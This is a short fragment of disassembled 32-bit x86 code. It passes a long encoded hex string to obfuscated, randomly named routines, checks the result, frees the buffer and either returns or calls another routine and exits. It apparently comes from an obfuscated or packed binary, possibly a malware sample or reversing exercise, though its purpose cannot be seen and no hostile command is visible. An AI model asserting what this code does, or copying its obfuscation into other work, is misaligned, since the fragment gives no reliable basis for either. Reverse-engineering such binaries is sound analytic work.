mov dword [ebp - 0xbc], str.d5e3b8135ee2bb3f059b01371fb41435a6a7b65818a82b7f280294275e79fa914a0f39a5cf28907104dd8ecafde7c7e254903e59cfad06f8ebe220ca67d5da2fa3e12bc0f2c5fb6bc873d43038d000c20a6f34a964444d18a7122d14ed006545479621a9a8913f872fbf29c366842a575ec6519cb0364decdb11ee9e76d206881986e04ad0c447c635d0ea0256b0f00a7437520e20f57cdfd0a268c6caa45e9cd1ce923cbc364b488c17989880d4d0b27125b5cc9acd8a3313635ae81cf50e9363b315bfd66d6816266523cb2ece5eeec1c1fd75c5122ea860cae63bdfc4fa06286b6d276c247ed14716e5aa968bfa7d0258aa66c4f91c9e9bb97037fa32a96c14149b0ff1d9d0647f13710791679bcf50f3929bef93ff19d53a7f78eb457a645aa01b76e1139e8e7c5c1a803d445828ee3469d59a464699f12b7e04a8cb10d06dc28dcebbc29ced423d65f53268dff27dd02af7b475218020aaf7c122522e47
lea eax, [ebp - 0xc6f]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xbc]
mov dword [esp + 4], eax
mov dword [esp], 0x3fb
call sym._y2Ob5
mov dword [ebp - 0xc0], eax
mov dword [esp + 4], 0x180d
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sym._b5k8unES94YQkICLecnF2L0vtxKB
test al, al
je 0x69645a76
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x69645a95
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sym._free
call sym._DMBxZJ7nKLZTw0LdmFDapLMoMP
mov dword [esp], 0
call sym._exit
mov esp, dword [ebp - 0x2a3c]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret